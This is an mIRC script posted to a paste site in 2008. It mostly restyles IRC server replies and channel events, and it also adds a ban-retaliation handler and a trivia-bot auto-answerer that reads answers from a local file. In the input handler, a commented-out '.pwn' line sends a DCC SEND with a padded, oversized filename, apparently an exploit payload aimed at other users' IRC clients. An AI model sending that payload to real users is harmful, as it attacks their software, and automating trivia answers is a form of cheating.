All pastes #985350 Raw Edit

Untitled

public text v1 · immutable
·published 2008-04-14 22:58 UTC
rendered paste body
raw *:*: {
  if ($numeric == 401) { echo -a 4||7--4> 2(14No Such Nick $2 $+ 2) | haltdef }
  if ($numeric == 311) {
    echo -a 4||7--4> 14.·15´10~2†10~15`14·.15Whois For $2 $+ 14.·15´10~2†10~15`14·.
    echo -a 4||7--4> 2,1(14Address2)12:15 $3 $+ 14@15 $+ $4 
    echo -a 4||7--4> 2,1(14Name2)12:15 $6- | haltdef
  }
  if ($numeric == 378) { echo -a 4||7--4> 2,1(14Connecting From2)12:15 $6 $7 | haltdef }
  if ($numeric == 379) { echo -a 4||7--4> 2,1(14Using Modes2)12:15 $6 $7 | haltdef }
  if ($numeric == 307) { echo -a 4||7--4> 2,1(14Nick Info2)12:15 ReGiSTeReD | haltdef }
  if ($numeric == 319) { echo -a 4||7--4> 2,1(14Is On Channel(s)2)12:15 $3- | haltdef }
  if ($numeric == 312) { 
    echo -a 4||7--4> 2,1(14Server2)12:15 $3 
  echo -a 4||7--4> 2,1(14Message2)12:15 $4- | haltdef }
  if ($numeric == 317) { 
    echo -a 4||7--4> 2,1(14Idle2)12:15 $duration($3) 
  echo -a 4||7--4> 2,1(14Sign On Time2)12:15 $time($4) | haltdef }
  if ($numeric == 320) { echo -a 4||7--4> 2,1(14Status2)12:15 $3- | haltdef }
  if ($numeric == 301) { echo -a 4||7--4> 2,1(14 $+ $2 Is AwaY2)12:15 $3- | haltdef }
  if ($numeric == 313) { echo -a 4||7--4> 2,1(14Server/Network2)12:15 $3- | haltdef }
  if ($numeric == 310) { echo -a 4||7--4> 2,1(14Availability2)12:15 Is Available For Help | haltdef }
  if ($numeric == 318) { echo -a 4||7--4> 14.·15´10~2†10~15`14·.15Whois For $2 $+ 14.·15´10~2†10~15`14·. | haltdef }
  if ($numeric == 020) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 513) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 001) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 002) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 003) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 004) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 005) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 007) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 014) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 042) { echo -s 4||7--4>14 $2- | haltdef }
  if ($numeric == 008) { echo -s 12||10--12> 5(14 $+ Server's Mask $+ 5)4:5(15 $+ $5- $+ 5) | haltdef }
  if ($numeric == 381) { echo -s 12||10--12> 5(14 $+ $2- $+ 5) | haltdef }
  if ($numeric == 251) { echo -s 4||7--4>14 There Are15 $4 14Users And15 $7 14Invisibles On15 $10 14Servers | haltdef }
  if ($numeric == 252) { echo -s 4||7--4>14 There Are15 $2 14Operator(s) Online | haltdef }
  if ($numeric == 253) { echo -s 4||7--4>14 Unknown Connections4:15 $2 | haltdef }
  if ($numeric == 254) { echo -s 4||7--4>14 Channels Formed4:15 $2 | haltdef }
  if ($numeric == 255) { echo -s 4||7--4>14 I Have15 $4 14Clients And15 $7 14Servers | haltdef }
  if ($numeric == 265) { haltdef }
  if ($numeric == 266) { haltdef }
  if ($numeric == 353) { echo -a $TimeS 4||7--4> 2(15Names For $3 $+ 2)14 $4- | haltdef }
  if ($numeric == 366) { echo -a $TimeS 4||7--4> 2(14End Of Names2) | haltdef }
  if ($numeric == 352) { 
    if ($6 == $me) { echo -a $TimeS 4||7--4> 2(15It's You2) 14 $+ $6 2(15 $+ 15 $+ $9- $+ 2) | Halt }
    else { echo -a $TimeS 4||7--4> 2(15 $+ $6 $+ 2) 14 $3 $+ 2@14 $+ $4 $+ $replace($7,S,2(15SSL2)14,G,2(15AwaY2)14,r,2(15ReGiSTeReD2)14,&,2(15Protected2)14,$chr(42),15(14WARNING SERVER OPER15)14,H,2(15HeRe2)14 $+,~,2(15ChanOwner2)14,+,2(15IsVoiceOp2)14 $+,%,2(15HalfOp2)14,@,2(15IsOp2)14 $+,-,2(15IsHelpOp2)14 $+) 7>14 $9- | Halt }
    Halt
  }
  if ($numeric == 315) { echo -a $TimeS 4||7--4> 2(15End Of Scan2) | haltdef }
  if ($numeric == 386) { echo -s 4||7--4> 2(14Password Accepted2) | haltdef }
  if ($numeric == 221) { echo -s 4||7--4> 2(14Server Sets Modes2)12:15 $3- | haltdef }
  if ($numeric == 471) { echo -a 4||7--4> 2(14Cannot Join15 $2 12:14Full2) | haltdef }
  if ($numeric == 472) { echo -a 4||7--4> 2(14 $+ $2 Is Unknown Mode For Channel2) | haltdef }
  if ($numeric == 473) { echo -a 4||7--4> 2(14Cannot Join15 $2 12:14Invite Only2) | haltdef }
  if ($numeric == 474) { echo -a 4||7--4> 2(14Cannot Join15 $2 12:14Banned2) | haltdef }
  if ($numeric == 475) { echo -a 4||7--4> 2(14Cannot Join15 $2 12:14Need Keyword Or Password2) | haltdef }
  if ($numeric == 481) { echo -a 4||7--4> 2(14Permission Denied12:14You Are Not A IRCop2) | haltdef }
  if ($numeric == 482) { echo -a 4||7--4> 2(14Permission Denied12:14You Are Not A Channel Op2) | haltdef }
  if ($numeric == 491) { echo -a 4||7--4> 2(14Permission Denied12:14No O-Lines Set For Your Host2) | haltdef }
  if ($numeric == 306) { echo -a 4||7--4> 2(15NoW AwaY2) | haltdef }
  if ($numeric == 305) { echo -a 4||7--4> 2(15NoW BacK2) | haltdef }
  if ($numeric == 375) { echo -s 4||7--4> 2(14 $+ Message Of The Day $+ 2) | haltdef }
  if ($numeric == 372) { echo -s 4||7--4> 2(14 $+ $2- $+ 2) | haltdef }
  if ($numeric == 376) { echo -s 4||7--4> 2(14 $+ End Of Message Of The Day $+ 2) | haltdef }
  if ($numeric == 377) { echo -s 4||7--4> 2(14 $+ $5- $+ 2) | haltdef }
  if ($numeric == 501) { echo -s $TimeS 4||7--4> 2(14Unknown MODE Flag2) | haltdef }
  if ($numeric == 520) { echo -s $TimeS 4||7--4> 2(14 $+ Cannot Join $5 $6- $+ 2) | haltdef }
  if ($numeric == 331) { echo -a $TimeS 4||7--4> 2(14 $+ $3- 2) | haltdef }
  if ($numeric == 324) { echo -a $TimeS 4||7--4> 2(14 $+ $2 $+ 's Channel Modes Set2)12:15 $3 $4 | haltdef }
  if ($numeric == 332) { echo -a $TimeS 4||7--4> 2(14Topic2)12:15 $3- | haltdef } 
  if ($numeric == 333) { echo -a $TimeS 4||7--4> 2(14Topic Set2)12:14By2:15 $3 14At2:15 $asctime($4,dddd) $+ , $asctime($4,mmmm dd) $+ , At $asctime($4,h:nn tt) | haltdef }
}
on ^*:Notice:*:#:{ echo $chan $TimeS 4||7--4> 2(15Ñotice2) 2(14 $+ $nick $+ 2) 7-4>15 $1- | haltdef }
on ^*:Notice:*:?:{ echo -a $TimeS 4||7--4> 2(15Ñotice2) 2(14 $+ $nick $+ 2) 2(14 $+ $server $+ 2) 7-4>15 $1- | haltdef }
on ^*:RawMode:#:{ echo $chan $TimeS 4||7--4> 14-12 $+ $nick $+ 14-15 MODE12 $chan 15 $+ $1- | Halt }
on ^*:notify:{ echo -a $TimeS 4||7--4> 14N15otify 14L15ist:14 $nick 2(15 $+ $address $+ 2) 14On Server 2(15 $+ $server $+ 2) | HaltDef }
on ^*:unotify:{
  if (!$address) { echo -a $TimeS 4||7--4> 15C14ontact12 $+(",$nick,") 15C14hanged 15N14ick }
  else { echo -a $TimeS 4||7--4> 15C14ontact 15D14ied:15 $nick 2(14 $+ $address $+ 2) 15On Server 2(14 $+ $server $+ 2) }
}
on *:BAN:#:{
  if ($banmask iswm $address($me,5)) && ($me isop $chan) {
    mode $chan -bo+bbb $banmask $nick $address($1,4) $gettok($address($1,5),1,33) $gettok($gettok($address($1,5),2,33),1,64)
    mode $chan +bbb $address($nick,4) $gettok($address($nick,5),1,33) $gettok($gettok($address($nick,5),2,33),1,64)
    kick $chan $nick 2,1(15Don't Ban Me2) $logo
  }
} 
on *:Connect:{ mode $me +penix | echo -s $TimeS 15*** 12C14onnected 12T14o15 $server }
on *:Disconnect:{ echo -s $TimeS 15*** 14Y12ou 14W12as 14D12isconnected }
on ^*:QUIT:{ 
  var %i = 1 | while ($comchan($nick,%i)) { echo $comchan($nick,%i) $TimeS 12||10--12> 5<4-5> 12Q2uits 4-14 $chan 15(4 $+ $nick $+ 15) 15(14 $+ $gettok($address,1,64) $+ 4@14 $+ $gettok($address,2,64) $+ 15) (14 $1- 15) | inc %i } | HaltDef
}
on ^*:Join:*:{
  if ($nick == $me) { echo $chan $TimeS 4***15 You Have Joined14 $chan | Return }
  echo $chan $TimeS 4||7--4> 3<9+3> 10J11oins 2(14 $+ $nick $+ 2) 2(15  $+ $gettok($address,1,64) $+ 14@15 $+ $gettok($address,2,64) $+ 2) 12 -14 $chan
  HaltDef
}
on ^*:Nick:{
  var %i = $comchan($newnick,0) | while (%i) { echo $comchan($newnick,%i) $TimeS 12* 15 $+ $nick $+ 14 is now 15 $+ $newnick | dec %i }
  HaltDef
}
on ^*:Part:*:{
  echo $chan $TimeS 4||7--4> 2<12-2> 9P3arts 12-4 $chan 2(14 $+ $nick $+ 2) (14 $+ $gettok($address,1,64) $+ 15@14 $+ $gettok($address,2,64) $+ 2) $+ $iif($1-,2(12Reason:14 $1- $+ 2),$null)
  HaltDef
}
on ^*:Text:*:#:{ 
  if ($nick == Triviabot-) {
    if ((This is an instant prize isin $1-) || (Time's up isin $1-) || (Hint isin $1-) || (Current Round: isin $1-) || (The winner was: isin $1-) || (has moved up in rank: isin $1-)) { Goto Next }
    var %temp = * $+ $right($replace($left($gettok($strip($1-),2-,32),$calc($pos($gettok($strip($1-),2-,32),TrivBot,1) - 3)),  ,$chr(32),$chr(160),$chr(32)),$calc($len($replace($left($gettok($strip($1-),2-,32),$calc($pos($gettok($strip($1-),2-,32),TrivBot,1) - 3)),  ,$chr(32),$chr(160),$chr(32))) - 2)) $+ *
    ;echo -a 11S10earching for answer.... 
    var %Answer = $gettok($Read($mircdir $+ \Games\answers.txt,w,%temp),2,42)
    if (%Answer) {
      ;/msg $chan 11W10hat 11I10s 5"4 %Answer 5" 11T10riv11B10ot.
      /msg $chan %Answer $+ 
      ;//echo $chan 15,1 %answer
    }
  }
  :Next
  if ($me isin $1-) && ($chr(35) isin #) && ($nick != NoobServ) { echo -a $TimeS 4||7--4>15 $nick 14said your name/nick in4 $chan $+ . 14They said15 $1- }  echo -m $chan $TimeS 15.14.11 $+ $nick $+ 14.15.14 $1- 
  HaltDef 
}
on ^*:Text:*:?:{
  echo $iif($Query($nick),$nick,-md) $TimeS 14(15 $+ $nick $+ 12-4PM14)4 $1-
  HaltDef 
}
;ctcp *:version:{ /ctcpreply $nick VERSION $DAS 2(15 $+ $me $+ 2) }
;ctcp *:finger:{ /ctcpreply $nick FINGER $DAS 2(15 $+ $me $+ 2) 4-12 I'm Not Idle }
on ^*:Action:*:#:{ { echo -m $chan $TimeS 15*14 $nick  $1- } | HaltDef }
on *:Input:*:{
  if ($left($active,1) == @) { Return }
  elseif ($left($1,1) == /) {
    var %temp3 = $3-
    if ($1 == /msg) { .Raw PRIVMSG $2 : $+ %temp3 | echo -a $TimeS 14* 4 $me $+ 15~4 $+ $2 $+ 15~14 %temp3 | Halt }
    Return
  }
  else {
    if ($active == Status Window) { Halt }
    ;if (.pwn * iswm $1-) { echo -a $TimeS 4||7--4> 10Expliot Sent. } | { .Raw PRIVMSG $nick :DCC SEND $+(",$str($1- $+ $chr(32),$Round($calc((255 / $len($1- $+ $chr(32))) + 1))),.txt") 1363975063 3500 4 }
    .Raw PRIVMSG $active : $+ $1- | echo -a $TimeS 4.5.14 $+ $me $+ 5.4.15 $1-
  }
  Halt
}